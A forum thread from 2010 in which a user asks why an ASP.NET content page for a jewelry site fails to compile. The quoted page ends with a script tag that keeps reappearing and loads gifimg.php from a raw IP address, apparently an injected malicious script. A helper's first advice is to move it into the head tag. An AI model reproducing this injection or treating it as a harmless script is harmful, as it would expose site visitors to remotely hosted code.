i recieve this error (only content controls are allowed directly in a content page that contains content controls) every time i try to open any aspx page that has (asp:content).
i notice that : there is a line of code added automatically after the closing tag (
/asp:content)
i tried many times to remove it but it come back agin.
None
0 Points
3 Posts
only content controls are allowed directly in a content page that contains content controls
Jul 15, 2010 10:21 AM|tdc_osama|LINK
Please help me :
i recieve this error (only content controls are allowed directly in a content page that contains content controls) every time i try to open any aspx page that has (asp:content).
i notice that : there is a line of code added automatically after the closing tag ( /asp:content)
i tried many times to remove it but it come back agin.
here is my code:
<%@ Page Title="Rania Hilal Designs... Handmade Jewelry" Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>
<asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server">
</asp:Content>
<asp:Content ID="Content2" ContentPlaceHolderID="Main" Runat="Server">
<div id="homeMenu">
<img src="App_Themes/images/pendants.jpg" />
<a href="gallery_necklaces.aspx"><img src="App_Themes/images/necklaces.jpg" style="border-style:none;"/></a>
<img src="App_Themes/images/Rings.jpg" />
<a href="gallery_earrings.aspx">
<img src="App_Themes/images/earrings.jpg" style="border-style:none;" /></a>
<img src="App_Themes/images/bracelets.jpg" />
<img src="App_Themes/images/logo.jpg" />
</div>
</asp:Content>
<script src=http://89.161.132.27/images/gifimg.php ></script>
All-Star
37505 Points
8109 Posts
Re: only content controls are allowed directly in a content page that contains content controls
Jul 15, 2010 01:41 PM|sansan|LINK
if you are using master page, all controls should be inside the content place holder.
if you any script files, you have to put them in the head tag.
I think if you move the script to the head, you will not that error.
hope this helps
None
0 Points
3 Posts
Re: only content controls are allowed directly in a content page that contains content controls
Jul 15, 2010 03:17 PM|tdc_osama|LINK
the script code i didn't add it and it placed automatically i don't know from where.
when i remove it the work correctlly but it comeback agine!!!!!!!
All-Star
37505 Points
8109 Posts
Re: only content controls are allowed directly in a content page that contains content controls
Jul 15, 2010 03:24 PM|sansan|LINK
some code might be triggering that to add,
check if there is any code to add the script in the code behind.
if not, do a global search for gifimg.php to see if where exactly it is being added.
last option is to create a backup of the page and code behind,
delete and add a new one with the same content to check if it works.
They might be adding the script file somewhere in the master page or so
correct me if I'm wrong